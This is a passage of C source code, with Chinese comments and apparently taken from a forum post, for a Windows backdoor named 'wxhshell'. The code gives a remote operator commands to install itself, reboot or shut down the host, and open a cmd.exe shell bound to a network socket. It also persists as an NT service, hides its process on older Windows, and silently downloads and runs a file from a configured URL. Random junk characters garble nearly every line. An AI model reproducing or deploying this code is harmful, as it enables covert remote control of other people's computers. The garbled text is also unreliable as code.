    switch(cmd[0]) { zJ"`40V*;  
  U=kP xe  
  // 帮助 e7n[NVrX  
  case '?': { <8 $fo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r]sN I[  
    break; d[0 R#2y=  
  } i[IOR0  
  // 安装 E.V lz^B  
  case 'i': { *Y:;fl +v  
    if(Install()) -o+<m4he  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jDWmI% Y.  
    else {IB}g:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zs=[C+Z\  
    break; [>IV#6$  
    } '<Fr}Cn  
  // 卸载 !_yWe  
  case 'r': { e&R?9z-*  
    if(Uninstall()) S)?V;@p6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G!G]*p5  
    else lG1\41ZxB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y-.<iq  
    break; 5YZh e4R  
    } _A>?@3La9  
  // 显示 wxhshell 所在路径 k1.h|&JJN  
  case 'p': { K*QRi/O  
    char svExeFile[MAX_PATH]; QWncKE,O$  
    strcpy(svExeFile,"\n\r"); yhuzjn  
      strcat(svExeFile,ExeFile); M:PEY*4H  
        send(wsh,svExeFile,strlen(svExeFile),0); HQy:,_f@  
    break; eBZ94rA]  
    } hw @)W  
  // 重启 Rj'Tu0l  
  case 'b': { (XU( e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bn4wr  
    if(Boot(REBOOT)) '{ $7Dbo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aVE/qXB  
    else { 0x Er`]]U  
    closesocket(wsh); ITt*TuS 2c  
    ExitThread(0); ]jB`"to*}  
    } z]49dCN  
    break;  X_\$hF  
    } B7 #O>a  
  // 关机 +jPJv[W  
  case 'd': { WA?We7m$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kMz*10$gn  
    if(Boot(SHUTDOWN)) G`oY(2U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BzXTHFMSy  
    else { 2+oS'nL  
    closesocket(wsh); t+l{D#?a  
    ExitThread(0); O30eq 7(  
    } )` ^/Dj;  
    break; S^q%+Z  
    } jap5FG+2  
  // 获取shell KHT RoXt  
  case 's': {  >7$h  
    CmdShell(wsh); <K:L.c!  
    closesocket(wsh); {Qf/.[  
    ExitThread(0); :'$V7LZ5  
    break; f;`7}7C  
  } G'<Ie@$6l  
  // 退出 <1pRAN0  
  case 'x': { HYwtGj~5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4;|@eN  
    CloseIt(wsh); @UK%l :L  
    break; N?{.}-Q  
    } 8o  SL3  
  // 离开 c!ul9Cw  
  case 'q': { 1G}\IK1+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x,fX mgE  
    closesocket(wsh); @TraEBJGL  
    WSACleanup(); j9r%OZw{  
    exit(1); Q>yO,H|  
    break; [sXn B$  
        } UfNcI[xr  
  } Njmb{L]Cps  
  } bCg)PJuB  
rUW/d3y  
  // 提示信息 0PdX>h.t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *v:o`{vM[  
} -d]v6q'1  
  } 0 /)OAw"m  
i4dy0jfN  
  return; [KW9J}]  
} nkO4~p  
#GfM!<q<  
// shell模块句柄 6 9s%   
int CmdShell(SOCKET sock) XE`u  
{ l|S_10x5  
STARTUPINFO si; }08Sv=XM  
ZeroMemory(&si,sizeof(si)); 68()2v4X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G2s2i2& 6E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hbSXa'  
PROCESS_INFORMATION ProcessInfo; h @2.D|c)g  
char cmdline[]="cmd"; [2.;gZj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QR\2 %}9b  
  return 0; S#F%OIx  
} (J5M+K\H  
u|sdQ  
// 自身启动模式 >*1YL)DBT\  
int StartFromService(void) xxZO{_q  
{ y(yBRR  
typedef struct mNPz%B  
{ Z5 Tu*u=  
  DWORD ExitStatus; G4,.kK  
  DWORD PebBaseAddress; AmX ~KK  
  DWORD AffinityMask; M=sGPPj  
  DWORD BasePriority;  (2dkmn  
  ULONG UniqueProcessId; |H'wDw8  
  ULONG InheritedFromUniqueProcessId; H03R?S9AQ  
}   PROCESS_BASIC_INFORMATION;  , D}  
@ [<B:Tqo  
PROCNTQSIP NtQueryInformationProcess; 'R nvQ""  
qpX`Z Y^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jJK@i\bU_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gJJBRn{MI  
u a_(wBipy  
  HANDLE             hProcess; RwoAZ]Zg]  
  PROCESS_BASIC_INFORMATION pbi; mc|8t0+1`  
<.U(%`|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yaK4% k  
  if(NULL == hInst ) return 0; ,D93A  
?#|in}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %&M*G@j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %T DY &@i=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I^?hVH  
)rbcY0q  
  if (!NtQueryInformationProcess) return 0; N 8pzs"  
feT.d +Fd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); . sv uXB  
  if(!hProcess) return 0; rds0EZ4W  
cdv0:+[P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^o[(F<q  
"vo o!&<  
  CloseHandle(hProcess); psAr>:\3  
_YA;Nd#%k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B i`m+ob  
if(hProcess==NULL) return 0; v4W<_ 7L_  
MNH-SQB|  
HMODULE hMod; n=%D}W  
char procName[255]; B18?)LA  
unsigned long cbNeeded; BUU ) Sz  
#F:\_!2c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4=ZN4=(_[  
,Ad{k   
  CloseHandle(hProcess); ,H5o/qNU`{  
uE&2M>2  
if(strstr(procName,"services")) return 1; // 以服务启动 F>"B7:P1:Q  
O/lu0acI  
  return 0; // 注册表启动 o(Q='kK  
} */ok]kX'  
43/!pW  
// 主模块 BF(Kaf;<t.  
int StartWxhshell(LPSTR lpCmdLine) SAUG+{Uq  
{ 1V;m8)RF  
  SOCKET wsl; Rqun}v}  
BOOL val=TRUE; #QKgY7  
  int port=0; FfibR\dhY  
  struct sockaddr_in door; I#:,!vjn  
&h?8yV4B  
  if(wscfg.ws_autoins) Install(); ]MRQcqbpqL  
$m0-IyXcv  
port=atoi(lpCmdLine); j)lgF:  
>5bd !b,  
if(port<=0) port=wscfg.ws_port; eS;W>d  
1l+j^Dt'[  
  WSADATA data; b-)3MR:4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OIrr'uNH  
l~$Od jf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #yR@.&P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H >1mi_1  
  door.sin_family = AF_INET; .ot[_*A.FD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5dEek7wnf  
  door.sin_port = htons(port); <'92\O  
K&%YTA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9 p`|~^X  
closesocket(wsl); r]O8|#P,Z$  
return 1; )Ga 3Ji}'  
} X{;3gN  
(0QYX[(r~o  
  if(listen(wsl,2) == INVALID_SOCKET) { B{-+1f4  
closesocket(wsl); }OLBEhGs  
return 1; XFcIBWS  
} k+As#7V  
  Wxhshell(wsl); t zSg`7H!  
  WSACleanup(); -% g{{'9B  
o>ZlA3tv  
return 0; =f-.aq(G/  
Xd@x(T~'X  
} ?G$X 4KY6`  
tCbn B  
// 以NT服务方式启动 I cz) Qtg|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f*GdHUZ*  
{ S0-/9h  
DWORD   status = 0; ^]1M8R,  
  DWORD   specificError = 0xfffffff; `|g*T~; kC  
O-YB +~"3Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]5hGSl2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X?Z#k~JR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UY*[='l!)  
  serviceStatus.dwWin32ExitCode     = 0; gj<Y+Dv>  
  serviceStatus.dwServiceSpecificExitCode = 0; t 4tXLI;'  
  serviceStatus.dwCheckPoint       = 0; {-kV~p  
  serviceStatus.dwWaitHint       = 0; /b~|(g31"  
7d'gG[Z^^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jz'8|o;^  
  if (hServiceStatusHandle==0) return; J3#  
eXsFPM  
status = GetLastError(); parc\]M  
  if (status!=NO_ERROR) AHtLkfr(r  
{ A]CO Ysc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zM mV Yx  
    serviceStatus.dwCheckPoint       = 0; |h75S.UY  
    serviceStatus.dwWaitHint       = 0; xDTDfhA  
    serviceStatus.dwWin32ExitCode     = status; SPU_@ Pk  
    serviceStatus.dwServiceSpecificExitCode = specificError; *Wmn!{\g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YF(TG]?6  
    return; UXN!iU)  
  } 7s-ZRb[)1  
]U,f}T"e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Kh;jiK !  
  serviceStatus.dwCheckPoint       = 0; =_Y#uE$  
  serviceStatus.dwWaitHint       = 0; =#ls<Zo:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); no lLeRE1  
} ~i)IY1m"  
vTF_`X  
// 处理NT服务事件,比如:启动、停止 ;*_U)th  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I%fz^:[#<  
{ y:N>t+'5  
switch(fdwControl) ^9PB+mz  
{ *1fZcw'C.  
case SERVICE_CONTROL_STOP: Ib665H7w  
  serviceStatus.dwWin32ExitCode = 0; @ I$;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e.:SBXZ  
  serviceStatus.dwCheckPoint   = 0; <xWBS/K  
  serviceStatus.dwWaitHint     = 0; @f wk  
  { !O~5<tA[#1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^@0-E@ {c  
  } +r 2\v  
  return; WSPlM"h  
case SERVICE_CONTROL_PAUSE: `&-)(#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yhi6RDS  
  break; 235wl  
case SERVICE_CONTROL_CONTINUE: X #!oG)or  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 47 _";g@X  
  break; qf2;yRc&  
case SERVICE_CONTROL_INTERROGATE: q[w.[]  
  break; ntT~_Ba8;u  
}; gAWrn^2L5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yh}F  
} $5;RQNhXh  
0Zv<]xO  
// 标准应用程序主函数 ;\5^yDv[e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ssy+x;<x,  
{ Lp?JSMe  
q:D!@+U  
// 获取操作系统版本 LVj62&,-  
OsIsNt=GetOsVer(); $2j?Z.yEG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yIdM2#`u  
Ltt+BUJc  
  // 从命令行安装 +o\s |G|l  
  if(strpbrk(lpCmdLine,"iI")) Install();  #FfUkV  
:6Q`! in  
  // 下载执行文件 N<54_(|X  
if(wscfg.ws_downexe) { mVBF2F<4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0$9I.%4jAJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); CdN,R"V0$@  
} @Yy:MdREA  
yb(zyGe  
if(!OsIsNt) { ages-Z_X  
// 如果时win9x,隐藏进程并且设置为注册表启动 ped3}i+|]  
HideProc(); K&WNtk3hT  
StartWxhshell(lpCmdLine); jGtoc,\X  
} %hu] =  
else S2jO  
  if(StartFromService()) #iot.alNA  
  // 以服务方式启动 '0!IF&p'  
  StartServiceCtrlDispatcher(DispatchTable); jJmg9&^R  
else gTp){  
  // 普通方式启动 _\P9~w `  
  StartWxhshell(lpCmdLine); 3 #zw Y  
Y C uuj$  
return 0; |# zznT"  
}
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只看该作者 1 发表于: 2006-10-10
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